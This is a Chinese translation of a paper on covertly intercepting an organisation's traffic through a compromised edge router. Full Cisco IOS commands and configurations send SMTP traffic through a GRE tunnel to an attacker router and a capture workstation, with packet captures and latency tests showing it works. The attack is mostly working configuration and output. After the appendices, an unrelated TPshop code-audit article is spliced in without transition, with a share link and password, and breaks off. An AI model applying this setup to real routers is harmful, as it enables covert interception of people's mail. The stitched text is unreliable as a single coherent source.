本文是翻译文章，文章来源：drops.wooyun.org
原文地址：<http://drops.wooyun.org/tips/8641>
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 前言**
现在,对终端路由器进行流量劫持的方法很多,如DNS劫持等等,但是根据不同的渗透场景,如对电信级别的组织进行大范围攻击时,利用被入侵的路由器进行流量重定向则会显得更加高效。这种类似“核攻击”的攻击方法会导致X州市数字电视一样的后果。
原文地址:<https://dl.packetstormsecurity.net/papers/routing/GRE_sniffing.doc>
**0x01 介绍**
这篇文档详细描述了在最近试验中,使用边界路由器作为工具来捕获网络流量的方法 、步骤以及结果。
在渗透测试场景中,人们经常会入侵一个组织的边缘路由器。这些路由器往往部署在公司防火墙外,而且缺乏保护。在某些情况下,被入侵的路由器可能会成为进一步攻击目标网络的一个跳板,但是真正的价值用被掌握的路由器用来嗅探组织内部进出的网络流量。
这种使用GRE隧道和策略路由的技术最早在Phrack由Gauis发表的第56篇文章“Things to do in Cisco Land when you
are dead”
(http://www.phrack.com/show.php?p=56&a=10),Gauis的方法使用tcpdump修改的proof-of-concept(poc)程序,来在被嗅探的路由器和一台Linux之间建立一条GRE隧道。
而Joshua Wright在他为SANS GCIH的实用鉴定课程中写的的论文:“Red Team Assessment of Parliament
Hill
Firewall”中使用了另一种方法,Joshua使用了另外一台思科路由器终结了GRE隧道,但他只设法捕捉到一个方向的流量:从该组织出站方向的流量。
在本次这个试验中扩展了Joshua的方法,同样使用另外一台思科路由器来终结GRE隧道,但是从组织中透明地捕捉到了进出的流量。对这个技术进行扩展的主要因素是为了最少进行软件定制以及组件的需要。
特别感谢Darren Pedley([email protected])对路由器配置的协助以及对整个实验完整的检查。
**0x02 方法**
所选择的方法是,在目标路由器(“Target router”)和被黑客控制的中间路由器(“Attacker
router”)之间建立GRE隧道。使用策略路由来把该组织中进出的流量通过GRE隧道重定向到中间路由器(Attacker
router)中。流量在最终被目标路由器(Target router)传送之前,就已经被黑客控制的中间路由器(Attacker router)处理过了。
本次测试了两种场景。第一个场景,被捕获的流量只是被中间路由器通
“反射”进了GRE隧道,如图1。这种方法有一个好处就是在路由器上配置简单,但是介绍以下出现的问题:
为了方便捕获数据流量,必须嗅探中间路由器外端的端口(即中间路由器的tunnle隧道上的物理接口)。这种方法在非以太网络媒介中会难以实现。
被捕获的流量是通过GRE报文封装的,就必须在执行IP解码之前对流量进行解封装。
图1 – 场景1
在第二个处理场景中,中间路由器被配置为在回传捕获流量给目标路由器之前,先把流量发传送给一台Unix工作站,如图2,这个脚本克服前面的两个缺点:
对于中间路由器来说,可以使任意媒介的外部网络。
流量转发给Unix工作站时已经解封装,则使用较少的处理过程就可以提取流量中有用的信息。
图2 – 场景2
**0x03 步骤**
图3显示了在本次试验的网络拓扑。
图3 – 实验测试拓扑
**实验设备**
目标路由器(target router)使用双以太网接口的Cisco 3600路由器,中间路由器(attacker
router)使用双以太网接口的Cisco 2600路由器。这个实验同样适用于任何IOS系统的思科路由器,可能适用于其他支持GRE隧道和策略路由的路由器。
邮件服务器是一台装有Linux的笔记本,网络嗅探设备是一台Solaris工作站,这些设备都是任意选择的。
**建立一条GRE隧道**
第一步,在对路由器进行基础的IP配置之后,就在目标路由器和中间路由器间建起GRE隧道,在实际环境使用这种方法时,目标路由器应必须首先已被入侵并可以远程配置,入侵目标路由器的方法以已经超出了本文的讨论范围。
目标路由器配置:
Target#conf t
Target(config)#int tunnel0
Target(config-if)#ip address 192.168.5.1 255.255.255.0
Target(config-if)#tunnel source eth0/1
Target(config-if)#tunnel dest 192.168.1.2
Target(config-if)#tunnel mode gre ip
Target(config-if)#exit
Target(config)#exit
Target#
建立名称为tunnel0的隧道接口,分配本地IP地址192.168.5.1(虚拟的IP地址),外部以太网接口定义为本地tunnel隧道的终点,同时定义中间路由器的外部IP地址为tunnel隧道对端的终点。在中间路由器上配置类似的命令。
中间路由器操作:
Attacker#conf t
Attacker(config)#int tunnel0
Attacker(config-if)#ip address 192.168.5.2 255.255.255.0
Attacker(config-if)#tunnel source eth0/1
Attacker(config-if)#tunnel dest 192.168.1.1
Attacker(config-if)#tunnel mode gre ip
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#
到这一步,两台路由器间的GRE隧道已经建立了,不管这两台路由器间在互联网间相隔多少跳路由,GRE隧道都只认为经过了一跳路由。
场景1中的策略路由配置
在场景1中(见图1),我们在中间路由器tunnel0的接口上建立策略路由,并通过GRE隧道向目标路由器“反射”流量。
中间路由器操作:
Attacker#conf t
Attacker(config)#access-list 100 permit ip any any
Attacker(config)#route-map reflect
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.5.1
Attacker(config-route-map)#exit
Attacker(config)#int tunnel0
Attacker(config-if)#ip policy route-map reflect
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#
访问控制列表100(acl100)匹配所有IP协议流量,route
map策略抓取了所有匹配访问控制列表100的流量,然后发往192.168.5.1,也就是目标路由器上终结GRE隧道的地址。这条route
map策略在tunnel0接口上应用。
这样配置的结果就是,所有通过tunnel0接口到达中间路由器的流量,随后会通过tunnel接口(即tunnel隧道)返回给目标路由器。
**场景1中的Unix工作站初始化**
在场景1中,攻击者的Unix工作站在外部署在中间路由器的外部接口中,在这个实例中,Unix工作站的IP地址可以配置或不配置,因为工作站只需要被动地捕获网络流量。
**场景2中的策略路由配置**
在第二个场景中,我们在中间路由器tunnel接口上和在与Unix工作站互联的内网接口上建立了策略路由,来“反射”通过GRE隧道及Unix工作站内网接口传来的流量。
中间路由器操作:
Attacker#conf t
Attacker(config)#access-list 100 permit ip any any
Attacker(config)#route-map send-traffic-in
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.3.2
Attacker(config-route-map)#exit
Attacker(config)#int tunnel0
Attacker(config-if)#ip policy route-map send-traffic-in
Attacker(config-if)#exit
Attacker(config)#route-map send-traffic-out
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.5.1
Attacker(config-route-map)#exit
Attacker(config)#int eth0/0
Attacker(config-if)#ip policy route-map send-traffic-out
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#
策略路由“send-traffic-in”被应用在tunnel0接口上,这条策略路由将从tunnel所有到达的流量转发到Unix工作站的住IP地址的以太网接口上(192.168.3.2)。工作站通过缺省路由经将该流量转发回中间路由器上(192.168.4.1)。
策略路由“send-traffic-out”被应用在中间路由器的内部以太网接口上(与Unix工作站互联的接口),它将从Unix工作站返回的流量通过GRE隧道全部转发回目标路由器。
**场景2中的Unix工作站初始化**
在场景2中的Unix工作站配置如下:
Primary IP address(主IP地址): 192.168.3.2
Secondary IP address(从IP地址): 192.168.4.2
从IP地址是在同一物理网络接口上的虚拟地址。
Default route(缺省路由): 192.168.4.1
**定义一个需要被捕获的流量**
接下来,在目标路由器上建立访问控制列表(ACL)来抓取需被捕获流量。
在目标路由器上操作:
Target#conf t
Target(config)#access-list 101 permit tcp any any eq 25
Target(config)#access-list 101 permit tcp any eq 25 any
Target(config)#exit
Target#
这条访问控制列表匹配了所有SMTP协议(25/TCP)流量,定义规则来对进出的数据包进行匹配是非常有必要的,因为这条访问控制列表将被应用在目标路由器的所有接口上。
**在目标路由器上的策略路由**
最后,我们在目标路由器上建立策略路由,用来将感兴趣的流量通过GRE隧道发送。
在目标路由器上操作:
Target#conf t
Target(config)#route-map capture-traffic
Target(config-route-map)#match ip address 101
Target(config-route-map)#set ip next-hop 192.168.5.2
Target(config-route-map)#exit
Target(config)#int eth0
Target(config-if)#ip policy route-map capture-traffic
Target(config-if)#exit
Target(config)#int eth1
Target(config-if)#ip policy route-map capture-traffic
Target(config-if)#exit
Target(config)#exit
Target#
定义的这条策略路由(capture-traffic)匹配了访问控制列表101(即所有SMTP流量),同时通过GRE隧道向中间路由器转发这些流量,这条策略路由需被同时应用在这台路由器对内、对外接口上。
到现在,所有进出目标路由器的SMTP流量将通过GRE隧道被重定向到中间路由器上,流量(返程流量)到达中间路由器是通过GRE隧道、中间是根据标准的路由协议进路由转发由的。
目标路由器上最终配置请见附录A,中间路由器在场景1和场景2中的配置可以分别在附录B和C中找到。
**0x04 结果**
在两个场景中,SMPT连接通过GRE隧道转移,成功地被UNIX工作站抓取。
场景1中的抓包验证
以下抓包片段显示了在场景1中,截取的SMTP会话建立过程(即三次握手)。
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
2 0.00208 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823
3 0.00144 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797
4 0.00277 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824
5 0.00140 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798
6 0.00060 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
7 0.00032 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
8 0.00183 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825
9 0.00138 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799
第1条数据包显示客户端向邮件服务器发送TCP SYN包。
第2、3条数据包显示这个SYN包从目标路由器发向了中间路由器,并返回到目标路由器。
在第3条数据包之后,这个SYN包就被传送到了邮件服务器上了:这个包在抓包过程中没有显示。邮件服务服务器应答了一个SYN/ACK包:这个包在抓包过程中没有显示。
数据包4和5显示了这个SYN/ACK包正在穿越GRE隧道。
数据包6显示这个SYN/ACK包被返回到了邮件客户端。
数据包7显示从客户端应答的ACK包(即三次握手过程中的最后一个数据包)发向邮件服务器。
数据包8和9显示这个ACK包正在穿越GRE隧道。
在第9个数据包之后,这个ACK包就已经被传送到了邮件服务器上,会话建立成功,随后的SMTP连接继续继续建立。
更完整的抓包结果,以及第2条数据包详细的协议解码请见附录D。
Scenario 2场景2的抓包验证
以下抓包片段显示了在场景2中,截取的SMTP会话建立过程(即三次握手)。
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
2 0.00014 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
3 0.00585 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
4 0.00011 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
5 0.00579 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
6 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
数据包1和2显示了客户端发往邮件服务器的TCP
SYN数据包,由于被捕获的流量在去往Unix工作站时在同一接口上被路由了两遍(即中间路由器路由一次,Unix工作站缺省路由一次),所以这条(同时所有)流量在抓包显示被复制了二份。
数据包3和4显示了邮件服务器发往客户端的SYN/ACK数据包。
数据包5和6显示了客户端回复邮件服务器的ACK数据包(三次握手的最后一步)
更完整的抓包结果请见附录E。
**0x05 结论及讨论**
**透明度**
这种数据拦截的方法对于这个系统中的终端用户是完全透明的(见下面的部分),标准的traceroute追踪不能发现数据在GRE隧道重定向而带来的额外路由跳数,因为traceroute的数据包并没有被策略路由(即上文中提到的策略路由)所匹配。
有这种可能,但是比较困难,就是编写一个基于TCP 协议,使用25号端口以及利用递增TTL值的traceroute程序,去发现已经增加的额外路由跳数。
当然,通过检查目标路由器的配置来发现(是否被攻击)会更简单。
**延迟考虑**
在通过中间路由器路由器捕获重定向的流量会增加网络延迟,这种延迟的增加可以表示为:
2n + m
n代表流量从目标路由器到中间路由器间所花费的时间,m代表中间路由器(以及Unix工作站)处理这条流量所带来的时间延迟。
在实验室场景中,发现m的值大约有10ms的延迟 – 详见附录F。
n的值显得要更大一些,这种(流量重定向)技术应被限制在类似如SMTP, DNS域传送等一类流量非严格时间敏感的场景中使用。
**对流量进一步解码**
从被捕获流量中提取有用数据的联系就交给读者了,在标准的Unix工具集中,例如strings以及od命令都可以方便地处理这些数据。
**实用性**
在现实情况下使用这种技术,应该注意中间路由器(以及在场景2中的Unix工作站)可能会导致单点通信故障,如果任何一台设备出现故障,那么在3.7章节中的访问控制列表所匹配的流量(即目标流量)将不能被正常转发。
**0x06 附录**
附录A – 目标路由器完整配置(Target Router)
!
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Target
!
no logging console
!
ip subnet-zero
!
interface Tunnel0
ip address 192.168.5.1 255.255.255.0
tunnel source Ethernet0/1
tunnel destination 192.168.1.2
!
interface Ethernet0/0
ip address 192.168.2.1 255.255.255.0
ip policy route-map capture-traffic
half-duplex
!
interface Ethernet0/1
ip address 192.168.1.1 255.255.255.0
ip policy route-map capture-traffic
half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 101 permit tcp any any eq smtp
access-list 101 permit tcp any eq smtp any
no cdp run
route-map capture-traffic permit 10
match ip address 101
set ip next-hop 192.168.5.2
!
line con 0
line aux 0
line vty 0 4
privilege level 15
login
!
end
附录B -场景1中间路由器完整配置(Attack Router)
!
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Attacker
!
logging buffered 4096 debugging
no logging console
enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0
!
memory-size iomem 10
ip subnet-zero
!
interface Tunnel0
ip address 192.168.5.2 255.255.255.0
ip policy route-map reflect
tunnel source Ethernet0/1
tunnel destination 192.168.1.1
!
interface Ethernet0/0
ip address 192.168.3.1 255.255.255.0
half-duplex
!
interface Ethernet0/1
ip address 192.168.1.2 255.255.255.0
half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 100 permit ip any any
no cdp run
route-map reflect permit 10
match ip address 100
set ip next-hop 192.168.5.1
!
line con 0
line aux 0
line vty 0 4
privilege level 15
no login
!
end
附录C -场景2中间路由器完整配置(Attack Router)
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Attacker
!
logging buffered 4096 debugging
no logging console
enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0
!
memory-size iomem 10
ip subnet-zero
!
interface Tunnel0
ip address 192.168.5.2 255.255.255.0
ip policy route-map send-traffic-in
tunnel source Ethernet0/1
tunnel destination 192.168.1.1
!
interface Ethernet0/0
ip address 192.168.4.1 255.255.255.0 secondary
ip address 192.168.3.1 255.255.255.0
ip policy route-map send-traffic-out
half-duplex
!
interface Ethernet0/1
ip address 192.168.1.2 255.255.255.0
half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 100 permit ip any any
no cdp run
route-map send-traffic-out permit 10
match ip address 100
set ip next-hop 192.168.5.1
!
route-map send-traffic-in permit 10
match ip address 100
set ip next-hop 192.168.3.2
!
line con 0
line aux 0
line vty 0 4
privilege level 15
no login
!
end
附录D – 场景1中的流量抓包
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
2 0.00208 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823
3 0.00144 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797
4 0.00277 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824
5 0.00140 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798
6 0.00060 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
7 0.00032 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
8 0.00183 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825
9 0.00138 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799
10 40.09693 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=153, ID=826
11 0.00142 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=153, ID=800
12 0.00063 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 220 localhost.locald
13 0.13864 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
14 0.00185 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=827
15 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=801
82 2.18601 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 q
83 0.00211 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=850
84 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=824
85 0.03858 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=851
86 0.00131 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=825
87 0.00051 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
88 0.18110 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 u
89 0.00186 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=852
90 0.00136 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=826
91 0.00271 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=853
92 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=827
93 0.00059 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
94 0.05429 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 i
95 0.00191 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=854
96 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=828
97 0.00269 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=855
98 0.00131 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=829
99 0.00051 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
100 0.16402 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 t
101 0.00207 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=856
102 0.00139 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=830
103 0.00270 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=857
104 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=831
105 0.00052 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
106 0.22869 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
107 0.00197 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=66, ID=858
108 0.00137 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=66, ID=832
109 0.00304 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=859
110 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=833
111 0.00012 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=116, ID=860
112 0.00055 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
113 0.00093 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=116, ID=834
114 0.00058 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 221 2.0.0 localhost.
115 0.00067 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=861
116 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=835
117 0.00049 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
118 0.00025 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
119 0.00044 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
120 0.00172 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=862
121 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=836
122 0.00007 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=863
123 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=837
124 0.00255 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=864
125 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=838
126 0.00054 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
对嗅探到的GRE数据包解码如下:
ETHER: ----- Ether Header ----- ETHER:
ETHER: Packet 2 arrived at 12:38:37.06
ETHER: Packet size = 86 bytes
ETHER: Destination = 0:d0:ba:fe:30:e1,
ETHER: Source = 0:e0:1e:7e:a0:c2,
ETHER: Ethertype = 0800 (IP)
ETHER:
IP: ----- IP Header ----- IP:
IP: Version = 4
IP: Header length = 20 bytes
IP: Type of service = 0x00
IP: xxx. .... = 0 (precedence)
IP: ...0 .... = normal delay
IP: .... 0... = normal throughput
IP: .... .0.. = normal reliability
IP: Total length = 72 bytes
IP: Identification = 823
IP: Flags = 0x0
IP: .0.. .... = may fragment
IP: ..0. .... = last fragment
IP: Fragment offset = 0 bytes
IP: Time to live = 255 seconds/hops
IP: Protocol = 47 ()
IP: Header checksum = 34fc
IP: Source address = 192.168.1.1, 192.168.1.1
IP: Destination address = 192.168.1.2, 192.168.1.2
IP: No options
IP:
这个GRE数据包使用Hex方式解码如下所示:
0000000 736e 6f6f 7000 0000 0000 0002 0000 0004
0000020 0000 0056 0000 0056 0000 0070 0000 0000
0000040 3d2d 0bcd 0001 110b 00d0 bafe 30e1 00e0
0000060 1e7e a0c2 0800 4500 0048 0337 0000 ff2f
0000100 34fc c0a8 0101 c0a8 0102 0000 0800 4500
0000120 0030 3380 4000 7f06 43f2 c0a8 0103 c0a8
0000140 0202 0651 0019 99d0 26a4 0000 0000 7002
0000160 4000 f86a 0000 0204 0534 0101 0402 0000
附录E – 场景2中的流量抓包
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
2 0.00014 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
3 0.00585 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
4 0.00011 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
5 0.00579 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
6 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
7 40.09285 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 220 localhost.locald
8 0.00016 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 220 localhost.locald
9 0.16606 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
10 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
59 1.62586 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 q
60 0.00012 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 q
61 0.04199 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
62 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
63 0.14919 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 u
64 0.00012 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 u
65 0.00574 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
66 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
67 0.08556 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 i
68 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 i
69 0.00570 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
70 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
71 0.12386 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 t
72 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 t
73 0.00577 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
74 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
75 0.80846 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
76 0.00011 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
77 0.00613 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
78 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
79 0.00216 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 221 2.0.0 localhost.
80 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 221 2.0.0 localhost.
81 0.00220 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
82 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
83 0.00670 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
84 0.00008 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
85 0.00169 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
86 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
87 0.00645 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
88 0.00008 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
附录F – 延迟测试 测试了额外增加的流量处理时间的延迟测试,在实验室中使用ICMP ping对互联网上的客户端机器进行测试。
在没有重定向/抓包时…
C:>ping 192.168.2.2
Pinging 192.168.2.2 with 32 bytes of data:
Reply from 192.168.2.2: bytes=32 time=10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
Ping statistics for 192.168.2.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 10ms, Average = 2ms
C:>ping -l 1000 192.168.2.2
Pinging 192.168.2.2 with 1000 bytes of data:
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Ping statistics for 192.168.2.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:>
在进行重定向/抓包时…
C:>ping 192.168.2.2
Pinging 192.168.2.2 with 32 bytes of data:
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Ping statistics for 192.168.2.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 10ms, Maximum = 10ms, Average = 10ms
C:>ping -l 1000 192.168.2.2
Pinging 192.168.2.2 with 1000 bytes of data:
Reply from 192.168.2.2: bytes=1000 time=31ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
Ping statistics for 192.168.2.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 20ms, Maximum = 31ms, Average = 22ms
C:> | 社区文章 |
### 0x00 前言
这个系统的漏洞也是放了很久了，这几天逛T00ls发现给人家爆出来了。。爆出来了。我也一次性爆完把=-=，有和T00ls论坛的那个哥们重复的纯属正常。
防止说我是照抄的，引起不好影响，下面那图是我审计的时候上传的时间，来证明一下，引起误会就不好了。
百度云链接：[https://pan.baidu.com/s/1o8MIOQI](https://link.jianshu.com?t=https://pan.baidu.com/s/1o8MIOQI)
密码：x83a
### 0x02 说明
TPshop开源商城系统( Thinkphp shop的简称
)，是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城，系统PC+后台是基于ThinkPHP5
MVC构架开发的跨平台开源软件，设计得非常灵活，具有模块化架构体系和丰富的功能，易于与第三方应用系统无缝集成，在设计上，包含相当全面，以模块化架构体系，让应用组合变得相当灵活，功能也相当丰富。
下载地址：[http://www.tp-shop.cn/Index/Index/download.html](https://link.jianshu.com?t=http://www.tp-shop.cn/Index/Index/download.html)
目录大概结构
├─index.php 入口文件
├─Install 安装目录 //保存着各种的sql文件 php文件初始化
├─Thinkphp PHP框架代码
├─plugins 保存插件的地方
├─vendor 第三方类库
├─Public 保存css,js，img，upload的地方
├─Template 模版文件 //保存手机与电脑端html的地方
│ ├─mobile 手机模版文件
│ ├─pc 电脑模版文件
├─application 项目文件夹
│ ├─home 电脑端业务代码 //保存着电脑端的各种功能PHP文件
│ │ ├─Controller 控制器
│ │ ├─lang 语言包
│ │ ├─Logic 模型逻辑层(可以当成Services来看)
│ │ ├─model 模型层
│ │ ├─validate 验证器
│ │ ├─view 视图(在这框架中并没有什么用)
│ ├─admin 管理端业务代码 //保存着管理端的各种功能PHP文件同上
│ ├─mobile 手机端业务代码 //保存着手机端的各种功能PHP文件
│ ├─common 全局公共函数文件夹(我也不懂为什么这里要放一大把的model的东西)
│ ├─common.php 全局公共函数文件
│ ├─config php 全局公共配置文件
│ ├─database.php 数据库配置文件
│ ├─function.php 公共函数文件
│ ├─route.php 系统路由文件
